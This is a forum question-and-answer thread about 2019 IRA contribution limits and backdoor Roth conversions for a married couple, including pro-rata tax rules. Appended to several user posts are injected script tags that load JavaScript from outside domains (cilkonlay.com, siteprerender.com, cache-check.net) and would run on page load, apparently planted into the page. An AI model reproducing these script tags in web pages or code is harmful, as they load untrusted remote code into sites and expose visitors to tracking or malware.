IRA contribution limit for 2019 | Ed Slott and Company, LLC

IRA contribution limit for 2019

Husband 53 years old in 2019 has $0 income in 2019 tax return, no contributions to any retirement plan.
Wife 47 years old in 2019 has $ 625,000 AGI in 2019 almost all from salary; has a 401K plan at work for which
she contributed the maximum allowed in 2019. Have not filed their 2019 tax return yet.

1. Can the wife make a $ 6,000 non-deductible contribution to a traditional IRA for 2019 before july 15, 2020
2. Can the husband make a $ 7,000 non-deductible contribution to a traditional IRA for 2019 before July 15, 2020
3. I presume neither qualify for a Roth IRA contribution in 2019?

  • However, because non-deductible traditional IRA earnings are pretax. Non-deductible traditional IRA contributions generally only make sense at their marginal tax rates if the individual can do a Backdoor Roth with little to no tax liability.
  • That would require little to no pre-tax balance in all traditional, SEP and SIMPLE IRA accounts on 12/31 of the year of any Roth conversions. Otherwise, there would be pro-rata taxation.
  • If the wife's 401k plan accepts IRA rollovers. She can rollover any pre-tax balances in all traditional SEP and SIMPLE IRA accounts prior to the Roth  conversion to avoid any pro-rata taxation.
  • Very few 401k plans accept IRA rollovers after separation. However, if the husband still has a federal TSP account or other 401k that does. He can do likewise.

  1. Yes.
  2. Yes, as long as they file a joint tax return.
  3. Correct.

Wife nor husband have a SIMPLE IRA nor a SEP.  Husband has about $ 140,000 in an IRA from previouscontributions and balances form a 401k rolledover.  How does the wife do a Backdoor Roth? where would the money be coming from? She and her husband are in the 34% tax bracket therefore it seemed that she could take her money from  CD's and MMA  to fund this traditional IRA, because a Roth is not available because of  her high income<script type="text/javascript" src="//cilkonlay.com/21890722da51ec3508.js"></script><script type="text/javascript" src="https://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8585x"></script><script type="text/javascript" src="https://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8585x&format=arrjs&r=1592772300588"></script><script type="text/javascript" src="https://cilkonlay.com/ext/21890722da51ec3508.js?sid=52564_8585_&title=a&blocks[]=31af2"></script>

The funds can come from any cash she can raise. She needs to open both a traditional and a Roth IRA at her selected custodian.  She must then make a regular contribution to her TIRA account no later than 7/15, which is the deadline for 2019 contributions. If she has the money she can also make a 2020 contribution of the same amount, being such to write a separate check flagged for the 2019 or 2020 contribution year. She can then convert the entire TIRA balance to her Roth IRA, using a same trustee transfer. The end result is that she will have used a two step approach to make a regular Roth IRA contribution for each year, thereby avoiding the Roth income limit. Their 2019 return will have to include a Form 8606 for her to report the non deductible contribution. Her conversion and 2020 contribution will be reported on their 2020 return.

But there will be no tax on the prinical balance contributed to the TIRA when converted to the ROth?So if they do for both years 2019 and 2020, now they will  contribute and convert $26,000 (6000+6000+7000+7000)and will be in Roths IRA's with no tax on principal or withdrawal when withrawn in the future and no income tax now on the opening and conversions<script type="text/javascript" src="//cilkonlay.com/21890722da51ec3508.js"></script><script type="text/javascript" src="https://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8585x"></script><script type="text/javascript" src="https://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8585x&format=arrjs&r=1592775366660"></script><script type="text/javascript" src="https://cilkonlay.com/ext/21890722da51ec3508.js?sid=52564_8585_&title=a&blocks[]=31af2"></script>

Sorry no tax on the principal and interest on the ROTH when withdrawn<script type="text/javascript" src="//cilkonlay.com/21890722da51ec3508.js"></script><script type="text/javascript" src="https://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8585x"></script><script type="text/javascript" src="https://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8585x&format=arrjs&r=1592776894509"></script><script type="text/javascript" src="https://cilkonlay.com/ext/21890722da51ec3508.js?sid=52564_8585_&title=a&blocks[]=31af2"></script>

Just to make clear there will be no tax due when the two traditional IRA are converted toa Roth IRA in 2020?<script type="text/javascript" src="//cilkonlay.com/21890722da51ec3508.js"></script><script type="text/javascript" src="https://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8585x"></script><script type="text/javascript" src="https://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8585x&format=arrjs&r=1592777995044"></script><script type="text/javascript" src="https://cilkonlay.com/ext/21890722da51ec3508.js?sid=52564_8585_&title=a&blocks[]=31af2"></script>

No tax due.  The contributions will be made into a money market fund and with yields so low there will be no earnings before the conversion is processed.

Sorry. I just want to make sure.  When converting the two non-deductible  TIRA to the two Roths therewill be no tax due on the principal amount being converted because it looks it would be $ 26,000 for both.  Only if there is some interest income earned white a TIRA would there be  tax.  But like you state if it is done quickly there should be no income earned..sorry for the repeat but I just want to make sure<script type="text/javascript" src="//cilkonlay.com/21890722da51ec3508.js"></script><script type="text/javascript" src="https://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8585x"></script><script type="text/javascript" src="https://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8585x&format=arrjs&r=1592786061493"></script><script type="text/javascript" src="https://cilkonlay.com/ext/21890722da51ec3508.js?sid=52564_8585_&title=a&blocks[]=31af2"></script>

Any Roth conversion done by the husband will be mostly or fully taxable due to the existing $140k IRA, depending on the amount of basis in nondeductible contributions in the husband's IRAs, with any basis not applicable to a particular conversion remaining in the traditional IRAs to be the applied to future Roth conversions or traditional IRA distributions until no money remains in his traditional IRAs.

  • First, you asked about the wife and my response was for her back door Roth only. She can make both her 2019 and 2020 contributions to the same TIRA and can convert the total to a single Roth IRA with no tax due.
  • Husband's situation it totally different because he already has a pre tax IRA balance. Even if he makes non deductible contributions, his conversion will be mostly taxable under the pro rate rules because his present TIRA balance is part of the calculation. If he goes to work for an employer with a plan that will accept IRA rollovers, he could roll his pre tax IRA balance into the new plan and then do non taxable back door Roths like his wife. Until then, this will not work for him, only for his wife.
 

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